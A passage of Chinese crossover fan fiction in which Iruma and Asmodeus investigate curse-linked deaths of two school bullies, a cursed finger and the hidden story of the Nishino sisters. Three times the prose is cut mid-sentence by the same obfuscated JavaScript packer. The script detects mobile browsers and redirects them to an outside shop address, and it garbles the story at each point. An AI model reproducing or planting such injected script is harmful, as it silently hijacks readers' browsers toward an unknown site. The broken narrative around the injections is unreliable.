恶魔们好像也没有很和谐啦,大部分恶魔单纯实力为尊、蔑视弱者罢了。一定要换成花的话,入间不由自主想起一脸无害、猫猫模样的苏姬那朵两三层楼高、杀伤力堪比热武器的花。 打住打住! 入间定了定神,翻看着最后一个地点。 “在神社看到了超级丑的手指,怀疑是凶案现场留下的,还绑着奇怪花纹的绷带,虽然不知道为什么没能拍下来,但是这绝对是纯子酱最刺激的一场历险啦!不过小狗酱一边参拜一边流泪,有点扫兴。” 这边入间和阿斯莫德讨论到底先去哪个地方比较合适,在一旁当花瓶的辅助监督忍不住开口:“恕我冒昧直言,二位与其花时间和精力准备跑不同的地方,还不如直接去问另一个当事人比较合适。” 入间挠挠脑袋,有点不好意思地笑了笑:“这个嘛,如果没有找到咒灵的话我们会问的,但是为了自己的一时方便而去揭人伤疤,果然还是做不到吧……” “但是时间就是生命,如果因为耽误时间而导致更多人受害……” 这次没等到入间回答,阿斯莫德就代为开口:“既然是咒灵导致的事件,并且这个学校里也没有什么咒灵的痕迹,那么只要不作死,一般来说普通学生都不会受害的吧?那么还在担心什么呢?难道我们没有为这些败类努力吗?” “你!”辅助监督清晰感觉到阿斯莫德在诡辩,但是一时半会竟然找不到反驳的方向。 “辅助监督先生,您可以放心,我们会尽自己最大的努力来解决这个问题的。”入间也抬头,看着辅助监督,眼睛里的坚定反而冲淡了那副老好人面孔的弱气,“只是,我们也有我们自己坚持的底线。” “算了,随便你们吧。”辅助监督揉了揉眉心,没有在开口干涉了。 反正自己也只是辅助监督,跟那群人素昧平生,有什么好为这个闹矛盾的呢? 办公室外。 “你在干什么呢?”山元老师匆匆返回,却在办公室门口看到了低着脑袋不知道在想什么的少女,疲惫的脑袋思索良久,才想起来她是谁,“西野?” 少女像是被山元老师的声音唤醒了似的,有点惊惶地抬头,然后迅速放松下来,鞠了一躬:“山元老师!我……是村山老师叫我来的,但是办公室门好像不太好打开。” 看了少女即使是长袖也遮挡不住的伤口,山元的眼里闪过一丝怜悯:“算了,你自己偷偷回去,就说来过了没人……真是的,这事跟你有什么关系呢?” “谢谢您。”西野又对着山元老师唯唯诺诺鞠了一躬,才忙不迭地离开。 16. 意外收获 为了早点解决问题,证明确实不需要提醒受害者那些痛苦的回忆,这次入间和阿斯莫德是分头行动,尽可能提高调查的效率。 入间因为一直耿耿于怀那根手指,所以选择了神社。 神社坐落在半山腰的密林中,昏黄的天色带走了乱叫的飞鸟,暗红色的鸟居因为长久的空置而斑驳,隐约还能听到风吹过树林的呜咽声里夹杂着若有似无的铃铛脆响。 拾级而上,入间看着在黄昏的逢魔之时无端显得阴森的神社,有点紧张地吞咽了一下口水,翻开手里的灾厄之书,有些笨拙地操纵着它吸收周边的咒力。 这也是入间最近抱着书琢磨许久之后另辟蹊径想出来的用法——利用灾厄之书对于咒力的敏感,感受周围是否存在咒灵、咒力的分布状况等等以他的能力无法知悉的信息。 “没有咒灵或者咒力的痕迹,但是有什么很吸引它的存在。”入间看着空空的能量存储条,咬了咬牙,向着那个方向走去。 然后就看到了纯子在帖子中记录的、很丑的手指。 是真的很丑,呈现出一种干瘪的状态,枯黄的甲床、紫灰色的皮肤,无一不证明它的年代感。缠绕着周身的白色布条上画着有点眼熟的纹路……像是…… 还没等入间回忆,不管是手上的恶食戒指还是灾厄之书都忽然开始暴动,艾利先生更是从人形退回之前那只巨大的、帷幕一般的影子,朝着那根手指毫无离职地扑了过去。 “不要乱吃东西啊!” 入间瞪大了眼睛,想伸手阻止它们。 不过还没等脆弱的人类出手干涉,灾厄之书就跟恶食戒指你来我往地打了起来。 入间:“……” 当然是谁也没讨着好,将将把手指分了一半,然后生怕被夺走一样迫不及待地吞吃入腹。 入间:“?!” 完蛋了!入间意识到一个严肃的问题——记得在魔界的时候,巴比鲁斯的校歌就是“人类是我们的食物……”,该不会,他们还得吃人才能积攒能量吧?这种事情,不要啊! 入间也不管三七二十一了,手疾眼快抓住还有点恍惚的艾利先生,欲哭无泪:“艾利先生,快吐出来啊!不可以吃人的!” “入间……入间小弟……”艾利先生即使是晕乎乎的,也要努力抬头骂回去,“你是笨蛋吗?什么人的手指是紫色的,这是咒物啊!” “欸?” 咒物等于有咒力的东西,等于不是人,那就等于大概可食用。 入间闭着眼睛在脑子里进行一番换算之后,想了想,决定接受现状——没办法,吃都吃了,看样子似乎也不会造成什么伤害,那就随它们去吧。 恶食戒指吃进去的东西,入间就没有看到它怎么吐出来过。 至于灾厄之书……只能说一句名副其实,还挺对恶魔的性格的。 尤其是能量条一口气涨到第二格之后,入间立刻释然。 是的,他就是这么务实的性格。 “这间神社也就看起来比较恐怖,我已经侦察过了,没有一点咒灵的痕迹。”艾利先生扭着一个妖娆的姿势侧躺在入间的脑袋上,撑着头看着入间翻开那本灾厄之书,“就是咒物上绑着的东西有点塞牙。” “哦哦……”入间点了点头,满心满眼都是已经出现进度条的灾厄之书,兴冲冲翻开,发现能显示出明显色彩,表示可以召唤的,只有他的同学们,至于老师的部分……最多显示他们的家系能力。 “也就是说,你可以使用他们的能力喽?”艾利先生一边剔牙一边评论。 “对哦!” 老师们的能力……想起当初作为学长迎接新生时,带着学弟学妹们参与的被老师们“围猎”的大战,入间还有点心有余悸。老师们的能力作为对手固然可怕,但是成为友军之后…… “不不不,现在的当务之急应该是联系上老师们!”入间晃了晃脑袋,把美好幻想统统甩出去,“也就是说,如果想要召唤老师们,我们还得继续找手指咒物……我是说,强大的咒灵。” 可恶,因为吞噬咒物太便利,以至于一不小心就说顺嘴了。 不过…… “艾利先生,你吃下的塞牙的东西,不会是咒物的封印吧?”听着脑袋顶的剔牙声,入间忽然想到了什么,有点惊恐地抬头,“那万一他们查到这个咒物失踪了该怎么办?” 艾利先生:“……” 算了,这家伙是笨蛋的事实对它来说也不是一天两天了。 “你就装作不知道嘛。他们不问,你不清楚,他们一问,你惊讶。什么?那个东西竟然失踪了吗?”艾利先生“啧”了一声,语气恨铁不成钢,“都半个恶魔了,说点谎算什么?又没有真言铃,我们吃得干干净净的,咒力痕迹也查不到你身上。” “更何况,路边捡到的东西,找不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600131|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失主,也没人看守,这跟野生的有什么区别?”艾利先生振振有词,“不要预设一些给自己添麻烦的事情啦。” 入间憋红了脸,总觉得哪里不对,却被绕进了艾利先生的观念里,认可这话有道理。 真是有点熟悉的场景,仿佛在哪里发生过。 果然不应该跟艾利先生搞辩论的! 顶着完全藏不住事情的脸,入间非常有偷感地等到了阿斯莫德的会合。 “入间君,实在是我的无能!”阿斯莫德表情沉痛,“游乐场和那个森林,都没有找到什么足够有杀伤力的咒灵。” 阿斯莫德,一如既往的高效。 “诶?足够有杀伤力?”入间捕捉到了关键词,“那里,有咒灵吗?阿兹君还能应付吗?” “有的,不过都只是一些蝇头,并不难解决。” 这次代为回答的是辅助监督,他的怀里抱着一堆笼子,里面奇形怪状的小玩意儿正龇牙咧嘴。 “入间君不是说过需要咒灵吗?所以我为您、你带来了路上所能抓到的。”阿斯莫德眼睛亮晶晶的,“很抱歉没能给你找到更好的。” “不,阿兹君能这样为我着想,我真的好开心。”入间连忙摇头,然后怀着一种兴奋又期待的表情对阿斯莫德招招手,压着声音告诉他,“我刚才发现了一个好东西,召唤老师们的进度条一下子解锁了一大半!我们一起努力呀!” 于是阿斯莫德露出非常开心的表情,虽然更像是因为入间的开心而开心就是了:“不愧是入间君!” 这次辅助监督没说话,因为他看着入间和阿斯莫德之间对于普通男高们来说显然过分亲密的举动,对他们之间的关系陷入了沉思。 有点奇怪,不太确定该怎么汇报,再看看。 调查一时间陷入僵局,入间的表情分明依然不愿意去询问西野。 辅助监督表情复杂:“按理来说,最先调查的,应该是受害者遇害环境吧?” 是他年纪大了吗?现在的高专学生,不愿意询问涉案相关人就算了,连现场也不实地调查吗? 入间:“?!” 辅助监督:“……” 破案了,是完全没想到呢。 以为是胸有成竹,实际上是经验不足。 不知道这两个少年其实是今年新生的辅助监督,对他们的人品表达认可,但是也对他们的智力产生了怀疑。 17. 归还大人 比纯子更早遇害的是名叫真树的少年, “石丸真树,男,十六岁,因为长相出挑而在学生中很有人气。成绩虽然不是很好,但是由于是家中非常富裕,又是独生子,所以父母要一给十,并且经常给教师们在工作中行方便,因此老师们也经常睁一只眼闭一只眼,不怎么关注他的事。” 辅助监督在车上快速地说着那个比纯子还早遇害的学生资料:“据说跟吉野纯子关系形影不离,不过经常对别人散发暧昧的意思。恕我直言,在在下看来,就是由石丸真树物色猎物,吉野纯子找借口将猎物拖出来欺凌的共生关系。只要泼上一盆‘觊觎别人男友’的污水,就可以理直气壮地不把人当人。” 艾利先生偷偷蛐蛐:“果然听起来更像是什么受害者的复仇吧?” 也难怪辅助监督提出想要询问当事人西野。 “而他被发现死亡是在早晨七点左右,父母试图喊他起床吃饭,推开门却发现死者已经窒息而死,死前双眼凸出,状况和吉野纯子非常相似。警方在调查过程中没有找到任何作案行凶的条件,因此现场依然被很好地保持着。石丸真树的父母已经被安置在了别的地方,防止因为情绪激动破坏现场。” 来到石丸家门口,辅助监督朝着警官们出示相关证明,然后带着入间和阿斯莫德光明正大地走了进去。 “咒术界不是不能被别人知道吗?”入间有点惊讶,“我们都商量好打算扛着你偷溜进去了。” 辅助监督:“……” 不知道为什么,脑海中忽然出现了两个学生扛着自己,爬窗户进入现场的情景。 抬手挥退莫名其妙的联想,辅助监督继续解释:“咒术界是不能被普通人知晓,以免引起他们的恐慌,滋生更多不必要的咒灵,也为了防止因为一点小事浪费咒术师资源。” 看样子已经接受了“这两位待考核咒术师需要一个帮忙介绍情况的外置大脑”的奇怪设定:“不然我们也不至于应校董的请求前来调查情况了。” 石丸家虽然不至于说是豪华,但是从房子内部的摆设和配备来说,至少还是很有点钱在身上的。石丸真树的房间在二楼环境最好的地方,卧室和书房之间的墙壁打通,放着各种时新的电子设备。 房间里拉着警戒线,大床上勾勒出现场痕迹固定线,床单还残留着因为有人躺在上面而留下的褶皱,果然看不出任何入室行凶的痕迹。 入间一边调动灾厄之书观察咒力痕迹,一边开口:“但是其实一直隐瞒着民众也并不是什么好事吧?咒术师不是五岁以后就会看到咒灵,之后逐渐觉醒术式吗?作为一个异类在人群中生活,那么小的一个孩子,即使是努力伪装合群,也会很辛苦吧?” “这样,对于咒术师来说,不是太不公平了吗?” 何止是不公平,其实是残忍的。就像即使后面大家都很好,入间也没有忘记自己隐藏着人类身份时候的心惊胆战。尤其是人生地不熟的魔界,即使爷爷对他很好,但是说实话,还是经常遇到危险、受伤甚至于命悬一线吧? 既要咒术师拯救普通人,又没有应有的奖励机制和理解。入间,似乎有点明白为什么会存在诅咒师了。 辅助监督沉默许久,却只是说:“……那也是拥有力量所必备的代价罢了,作为咒术师,收益和风险是并存的。” 对此,入间不知可否:“啊,床底下还有个手机……好像被摔碎了。” 别说两个异世界来的学生了,即使是辅助监督这种土生土长的本地人都不由得为警视厅调查的效率而感到忧虑了。 他们甚至没有往床底下看一眼,也就没有带走这个充斥着不对劲的证物。 当然,这对于咒术师们来说算是好事——根据没有被任何人接触过的手机上的咒力痕迹,可以判断,确实是咒灵杀人事件。 “我倒是认识一个专门做手机维修的人,不过可能需要一两天……时间上来得及……吗……” 辅助监督出口的话被入间的动作哽了一下,原本严肃的表情忽然有些呆滞,这种神色出现在一个严肃到了有些古板的家伙脸上,实在是算得上滑稽。 无他,因为入间在拎着手机稍微打量了一下之后,顺手抓过书桌上的剪刀和胶带,把桌子当成维修台,开始埋头修了起来。 “阿兹君,剪刀。” “是!” “阿兹君,硬纸。” “是!” 还没等辅助监督阻止入间这种“破坏证物”的行为,辛勤的入间师傅就拿着那只已经从支离破碎转变成颇具形状的手机按了按:“啊,可以打开了!” 辅助监督:“……” 等等,这是什么变化?这是什么时候发生的?怎么就这么两下,这个 师傅,你在入学高专之前是做什么工作的? 辅助监督这么想着,却平白无故,莫名其妙面临了阿斯莫德不善的视线的注视,他才意识到,自己也真的十分失礼地问出了声。 “啊?我吗?”入间指了指自己,还是那种开朗阳光的表情,像只无辜路过的小团雀,“因为以前什么工作都尝试过,加上后来在上个学校里参加了手工社团,所以稍微有点动手能力啦!” 辅助监督:“……” 阿斯莫德也习以为常,毕竟在他看来这只是一个手机罢了,当初社团活动的时候他们在入间的指导下制作的可是具有杀伤力的大炮烟花。 总之是熟悉的“入间大人无所不能”滤镜。 “实在是抱歉要看你的私人信息。”入间对着桌子上摆着的石丸真树照片合起手带着点歉意拜了拜,然后毫不犹豫地打开了各种软件页面。 不翻开还好,入间眉头越看越深,石丸真树的相册里拍摄纯子欺负人的占据大多数,少部分还有虐待动物的场景,甚至于搜索记录也包括“如何处理动物”“九十斤的大型动物该怎么豢养和处理”之类听起来就充满不祥的内容。 退出软件,一不小心点开录音,在一堆“x月x日尖叫”的文件里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600132|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,赫然有着一个来不及编辑名称的乱码。 辅助监督凑了过来:“这应该是该款手机自带的录音功能,因为太没有隐私了还需要手动删除,所以据说风评毁誉参半。这串乱码就是时间……刚好是昨天晚上呢。” 带着一种不妙的预感,入间点开了那段录音,似乎是通话自动转留言,在铃声过后,是纯子清亮的声音:“摩西摩西,这里是吉野家,请问有什么事情吗?” “是我啦。”少年的声音带着一种恶作剧得逞的笑意,“你猜猜我给你准备了什么样的惊喜?” “是真树君啊!”对面压低了声音,听起来甜美羞怯,像是恋爱中的少女,“上次这么说,还是给我找到了光明正大欺负的玩具,这次是什么?新的玩具吗?难道是她的妹妹?哼,别以为我不知道,你跟那个‘好学生’走得可近了呢……” “果然玩女人还是有脑子一点的好吧。”石丸真树的声音忽然冷了下来,对着对面发出冷冷的嗤笑声。 “恰恰相反,男人呢,有时候要适当笨一些呢。”吉野纯子像是完全没有听出石丸真树的画外音,还是甜蜜蜜地微笑,“你猜猜,我给你准备了什么呢?” “不管你怎么说……” “是‘归还大人’哟!” 两道声音同时响起,然后就是同时震惊。 “你怎么敢?!”吉野纯子尖叫,“你这个疯子!要不是我爸爸,你们家……” “说是疯子,你们家里也没有好到哪里去吧?重男轻女所以没有什么话语权,只能欺负别人的疯婆子!”石丸真树听起来比吉野纯子激动多了,像是在愤怒地敲打着桌子,“你怎么敢!你怎么敢?” 两个人用“你怎么敢”互相攻击了好一阵子,才安静下来。 良久,吉野纯子喘着粗气笑道:“没关系,都有先来后到,只要我率先许愿,没有办法支付代价的就是你,反正还有那家伙的妹妹垫背,我会安然无恙。” “你——咳咳咳……呃——” 石丸真树的喉咙里发出卡顿的声音,像是被什么勒住了脖子,到后来,声音都逐渐沉闷了下去,像是被什么闷住了口鼻。 “砰——” 最后是一声手机摔在地上的脆响。 “所以说……”入间带着思索的声音把在场人都拉回现实,“他们俩是互相用‘归还大人’诅咒了彼此,所以才导致了这样的情况。” “不过值得注意的是,他们口中的‘率先许愿’……”阿斯莫德沉吟片刻,补充道,“虽然吉野纯子率先许愿了,最后却还是死了。所以,这句话有没有可能是伪命题?” “咒灵是这样的,利用规则,设置看似可能的逃生出口,但是参与进规则的人没有不会被卷进去的先例。”辅助监督补充道,“所以容许在下暂时定性为这是规则类怪谈咒灵造成的案件。” 那么很显然,作为吉野纯子垫背的人选,西野和她的妹妹,恐怕就是下一个受害者。 “我们快走!” 18. 虚伪铃 “您……还好吗?” 入间坐在后座,看着后视镜内辅助监督眉头紧锁,不由得发出询问。 “没事,我只是在想……”辅助监督语气沉稳,如果表情能再平静一些、抓着方向盘的手没那么用力,那就更有说服力了,“只是在想一些……事情。” 作为受害者,西野的资料他们并没有太仔细地阅读,毕竟时间紧任务重,随时都有可能出现新的受害者。 但是,不知道是自己没来由的直觉还是别的什么,总之辅助监督心里总有挥之不去的违和感。 虽然没有上过这种鱼龙混杂的高中,但是普通学校好歹还是上过的。作为能够看到咒灵的班级异类,成绩好坏得到的待遇也是天差地别。 想起曾经的精力,即使已经工作了多年,回想到过去还是会觉得有些不适。辅助监督努力把过去的阴影抛到脑后,跟两个高专学生分析:“虽然没有完全深入调查西野同学的资料,不过一般来说,像她这样成绩好的女生,为什么会被盯上呢?” 只要成绩足够好,反而有时候不至于遭受像西野那样恐怖的霸凌。毕竟谁能确定,自己曾经欺负过的人,会不会在哪天掌握住自己的咽喉? 就算是学生意气上头不管不顾,老师们也不会完全装聋作哑——有钱的是学生又不是老师自己。 抱着寻求认同的想法,他从后视镜回望那两个高专学生,跟他们确定:“你们之前呆的学校里,有没有成绩特别好的人,会被欺负的?” “成绩(位阶)不太高的学生会被当成空气算吗?或者体能比较差的会被冲出去的人群撞飞踩扁……”入间刚开始的位阶实在算不上乐观,算是最底层,但是一来有阿斯莫德,二来有开学时候被爷爷沙利文蒙骗,大声在讲台上朗读只要错了一点就会让朗读者暴毙的禁咒,确实没怎么体会过这种欺侮。 辅助监督:“……” 算了别说了,再说要气到自己了。 好在入间只是短暂地掉了一下链子,很快就反应过来辅助监督的言外之意:“您是说,西野不太对劲吗?” “但愿只是我想多了……”辅助监督喃喃道,脚上却毫不含糊地踩下了油门。 脏、乱、差,这就是他们来到这片靠近城市边缘棚户区下车后的第一感觉。 各种尖叫、辱骂和哭泣的声音透过薄薄的木板回荡着,因为缺乏规划,所以房子中间的路面也是歪歪扭扭,深一脚浅一脚走在这段路上,还得当心脚下散发着不明味道的污水坑。 自然而然的,这种鬼地方也有成群结队的咒灵路过,不过看上去等级不高,没有太多影响生活的能力,级别低到可以穿墙而过,也没什么智商。 阿斯莫德微微侧过身,走在入间前面,从口袋里掏出一条手帕递给入间:“入间君,请捂住口鼻。” “倒也没有到这个地步啦。”入间讪笑着回答,“其实能住已经算不错了,当初、咳,总之好歹下雨了也有庇护所……等等,那是什么?!” 破棚屋一般的建筑烧起冲天的火光,吱嘎作响的墙壁轰然倒塌,周围的邻居骂骂咧咧,在看到是谁家之后露出了介于怜悯和庆幸的表情。 “什么嘛,是西野家啊。” “唉,那笔钱拿着有什么用呢?” “我去……” “去什么去?你看他们会感谢你吗?跟我回去!” 难道是咒灵已经下手了吗?入间来不及想那么多,对着阿斯莫德请求:“阿兹君,能把火焰吸收吗?” “可以试试。”阿斯莫德抬手操纵着已经逐渐包围房子的火焰,毕竟没有尝试过这样类似于攻击调整为防护的调整,所以效率并不高。 入间一咬牙,直接让艾利先生化作一张巨大的防护网,冲进了那片废墟。 “右边那两个人已经没气了,左边那个还能救一下。”艾利先生指挥着入间,“哎呀真是的,能想出让恶魔救人的也就只有你了,入间小弟。” “好的!”入间的口鼻被打湿的手帕捂住,双眼艰难在滚滚浓烟中寻找方向——在房顶和墙壁组成的三角区里,躺着似乎陷入了昏迷的人形,来不及多想,入间连拖带拽地带着她离开了火场。 伴随着他们前脚走出大概算玄关的位置,后脚房子彻底坍塌,因为阿斯莫德的缘故,所以火势没有蔓延。 而披着衣服被入间就出来的西野也并没有因为滚滚浓烟彻底昏迷,在松开入间的手,轻声道谢之后,默默地坐在地上看着面前的场景,看不出表情,那一瞬间的侧脸,甚至有些不近人情的冷酷。 “西野同学,你没事吧?” 西野转过脸,带着惶恐点了点头,仿佛刚才的表情只是昙花一现的错觉:“我没事,真是太感谢你们了!不过,你们怎么会忽然过来呢?是……有什么事吗?难道是关于纯子?” “嗯……西野同学,你知不知道……‘归还大人’?” “啊……我知道的,是最近流行起来的一个怪谈。”西野重新垂着头,“纯子说要玩,不过后来还没玩就出事了。” “不,准确来说,是她已经尝试过了,所以出了事。”入间蹲在西野面前,没有看她的脸,语气诚恳,“我们很担心你会不会被卷进去,所以想要来问问你。如果方便的话,能告诉我们你所知道的关于‘归还大人’到底是怎么一回事吗?” 西野沉默片刻,然后回答道:“也没有什么不能说的,总之是一个怪谈,说只要在逢魔之时或者更晚的时候来到郊区废弃厂房的废弃车站,拿着硬币然后绕着车站走几圈,就能看到一个电话亭,电话亭里只能拨打一串数字,那就是‘归还大人’的号码。” “而只要和‘归还大人’许下心愿,第二天都能实现,不管是仇恨谁、或者渴望什么,美丽、财富……‘归还大人’都会实现心愿。” “但是,在愿望实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600133|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现之后,‘归还大人’同样需要祭品。” 那么显而易见了,吉野纯子和石丸真树都知道了这个怪谈,并且试用在了对方的身上。而吉野纯子因为先行一步,所以率先杀死了石丸真树。 “这种应该算规则类咒灵,只要你达成了它触发的条件,那么就会按照规则来取走你的性命。”辅助监督习以为常,“岩手县也出现过类似的咒灵,是诞生于怪谈‘裂口女’的咒灵,有一定的简易领域和智慧,只要回答了她‘我美不美’的问题,不管是是还是否,都会被卷入领域任人宰割。” “咒灵都是狡猾的东西,说出来的话并不可信,所以恐怕也是因为如此,咒灵才会同样收割吉野纯子的性命。” “二位请上车吧,我们……” “拜托了,我知道地方在哪,请务必带着我一起去!”西野忽然有些急促地开口,有些失礼地打断了辅助鉴定的话,“求求你们了,拜托……” “……你的身上有它的咒力残秽。”辅助监督定定地看着西野,语气有些古怪,“你知道代表着什么吗?意思就是你被那个‘归还大人’打上了标记,是它养着随时准备解决的食物,即使只是呆在车上,也很容易被卷进去的,即使这样还是无所谓吗?” “是的,我想去!” “走吧。” “入间君,你的表情似乎不太好看,是发生了什么吗?是不是还是在火场里受到了伤害?”阿斯莫德看着逐渐落在后面的入间,有点担心地放慢了脚步。 入间看了看前面两人,再看了看阿斯莫德,忽然伸手紧紧抓住他,小声问:“阿兹君还记得巴拉姆老师的家系能力吗?” “虚伪铃?”刚开始作为学生,其实他们还不太清楚为什么学校里老师们抓考试作弊一抓一个准,后来升入高年级才知道是因为幻想生物课程的老师巴拉姆,家系能力正是可以堪破不诚信行为的“虚伪铃”,也算是解答了一部分校园未解之谜。 “是的,为了方便能量充足的时候随时召唤巴拉姆老师,所以我把能量都填充在这一页。灾厄之书现在的能量能够支持我单独使用巴拉姆老师的能力……一开始我以为关着书,放在包里,应该不会出现什么意外,结果这个能力会自动发动……” 入间絮絮叨叨说着自己的想法,似乎很害怕被阿斯莫德认为自己是什么会质疑、偷听别人的卑劣家伙,而阿斯莫德也包容着入间的不安,耐心地听着。 “之前的谎言还好,要是要求说真话,揭露被期待的经历,直面过去遭遇的不幸,那也太残忍了。”入间喃喃,“可是,阿兹君,不管西野是说到‘归还大人’,还是父母离开很难过,以及害怕纯子、不敢接触怪谈的时候,虚伪铃……也一直在响……” 也就是说……或许……看上去是受害者的西野,也并没有那么简单。 她想去那里是真的,但是,目的呢?这次的“祭品”,不会是他们吧? 19.应受惩罚之人 大概辅助监督也看出了什么,总之一路上所有人陷入了一种莫名的沉默,而在上车之后,作为重点怀疑对象的西野也一直低着头,除了偶尔指路,也没有什么开口打破场面的意思。 在一片欲言又止的寂静里,很快他们就来到了那片废弃厂房,路边一闪而过、门窗脱落的建筑里,那些空洞的方口比夜色更深,没来由的瘆人。 “就是这里了。” 西野率先跳下车,在他们都没反应过来的时候张开双臂挡在车前,然后对着他们鞠了一躬:“谢谢你们送我到这里,请不要再往前了。” 这时候,他们甚至能看到她的脸上开始露出一种……明朗轻松的神气,跟之前的几次有限接触里他们所见到的西野,简直是判若两人。 “不然,我们双方都会很困扰的。” “你……” 这种场面真的太经典了,少年漫主角在帮助了某某角色之后,该角色脱下伪装告诉他们其实自己才是幕后真凶什么的……以至于在西野开口的一瞬间,入间的脑子里闪过自己在漫画工作室打工时看过的很多动漫主角的名字。 辅助监督倒是反应过来了,表情严肃地看着西野,一针见血:“我劝你还是分清楚怪物和你曾经认识的某个人,名为咒灵的怪物,并不是你曾经认识的人。” 不怪辅助监督条件反射说出这样一番话,毕竟没有死于咒力的咒术师,在死后大部分情况下同样会成为咒灵。作为辅助监督,他已经见过太多次,不管是同伴还是普通人,都因为咒灵表现出的、和那人生前类似的行动,而被狠狠蒙蔽,进而造成悲剧。 “不管你经历过什么,请来到我们身边,至少现在我们会尽量保证普通人的安全。”入间在意识到西野可能面临的局面之后,鼓起勇气朝着西野发出邀请。 “虽然不清楚你在这件事里扮演了什么样的角色,但是你还太年轻了。” 所以,不管是出于什么原因,西野都不应该被咒灵杀死,她的人生不应该结束在现在。 要为自己的行为接受代价,那是事件结束以后,相关责任人应该处理的问题。 “你一直都是这么老好人吗?”西野看着心思都在脸上,惶恐又谨慎的家伙,摇了摇头,“这样真的,太蠢了,到底是什么人才会这么蠢啊……” 明明看着的是入间,但是她的视线又仿佛是透过入间看另一个人。 “啊……”入间被她的问题问得懵了一下,竟然真的顺着思考了下去,然后带着点不好意思地挠了挠头,“因为遇到的人都很好吧……” “真是让人苦恼啊。”西野只是定定地看着他们,然后露出一个笑容,“为什么总是让穷途末路的恶人遇到好人呢?要是她能有你这样的性格就好了。” 她从自己的口袋里摸出了贴着“西野”名字的手机,翻开歪歪扭扭的盖子,看着时间逐渐走向十二点:“人之将死,其言也善,你们要问什么就问吧,待会儿可能就没时间了。” 阿斯莫德率先开口:“你,跟那个被吉野纯子欺负的西野,不是同一个人吧?” “是个有价值的信息。”西野大方承认,“没错,这个学校里有两个西野,至于两人之间的关系……看我能这么好地伪装就知道了吧?我们是亲姐妹关系。” 西野在记事开始,面对的就是烂泥一样的家庭和吸血鬼一样的父母。 因为祖父母希望拥有后代,所以父母跟他们做交易生下了大女儿,生下孩子之后就靠着老人们的供养生活。又因为祖父母离世,又蠢又怂的夫妻俩合计了一会,决定靠着生孩子赌机会。 而她就是那个在两人接连生下四五个孩子又悄悄遗弃之后,仅剩的、宣告成功的“彩票”。 西野两姐妹的名字一模一样,因为大女儿的名字是祖父母认真思考之后取下的,于是那对夫妻甚至不愿意再废点脑子想新的名字,或者他们大概本身就不怀好意,总之,西野姐妹共用一个名字“爱子”。 姐姐西野只会带着愧疚看着妹妹西野,认为自己在这方面被偏爱了,并且告诉她,“爱子”是个很好的名字,所以她愿意将祖父母离世之前在这个名字上所寄托的爱意分给妹妹。 大概是因为作为大女儿,见证过这对夫妻怎么厚颜无耻利用她朝祖父母要钱,所以姐姐西野对于生存一直有一种惶恐的情绪,相当擅长逆来顺受。也因此,还在义务教育时期就被吉野纯子一行人盯上,成为出气筒。 一个孤僻、贫穷,并且不太聪明的家伙,因为父母从中作梗的缘故,上学迟了很多年,年龄还都比身边人大了好几岁,姐姐西野注定没办法过上什么安生日子。 所以妹妹西野当时最常听到的姐姐西野说的话就是,“等到毕业之后会好的”。 想想都觉得很天真吧?当时的妹妹西野对这个姐姐的印象就只是一个即使她问了也只会装作轻松的笨蛋,还是一个对着明明是争夺父母关注和家庭地位的妹妹表达出从始至终的善意的笨蛋。 姐姐西野回来得越来越晚,衣服越来越破烂,但是眼睛里的光却越来越亮——因为她快要毕业了。 可惜……可惜…… 妹妹西野不知道应该从哪里开始可惜,或者说,仇恨? 是仇恨这个笨蛋永远学不会反抗和仇恨,还是仇恨那群阴魂不散的家伙跟她的父母提出“因为和西野是很好的朋友所以不愿意分开,愿意想办法让西野和自己一起上高中”的霸凌者……或者是那对只要有钱就可以默许一切发生的人渣父母? “西野爱子嘛,是个特别好的孩子。”吉野纯子将一整包的钱仍在那对夫妻面前,“有她在,我出门玩,爸爸妈妈也会很放心的呢。所以,这是我雇佣她的工资,你们意下如何?” 少见的、照进歪歪扭扭棚屋的夕阳被吉野纯子的影子分割成支离破碎的光斑,妹妹西野能够清晰感受到姐姐西野抱着她时无意识收紧的双臂。 是在期待吗?期待人渣父母能够良心发现,还是幻想破灭所以绝望了呢? 她不知道,或者其实当事人自己都不知道。 为什么、为什么不恨自己呢?如果没有自己的话,那对逐渐恐惧于老去的人渣,说不定能好好对待唯一的女儿吧? 为什么……为什么学会了恐惧、学会了爱,就是不会去恨呢? “因为出生之后面对这样的家庭,这对你来说太不公平了。”姐姐西野掰着手指头告诉妹妹,“你看,我曾经有祖父母的爱,后来还有你的爱……可是爸爸妈妈……你只有我在认真爱你了,所以祖父母没能给你的爱,由我来补上吧。” 她坚持认为祖父母是爱她的,因为某种程度上算是在他们期待中出生的孩子,也因为这个孩子算是他们的后 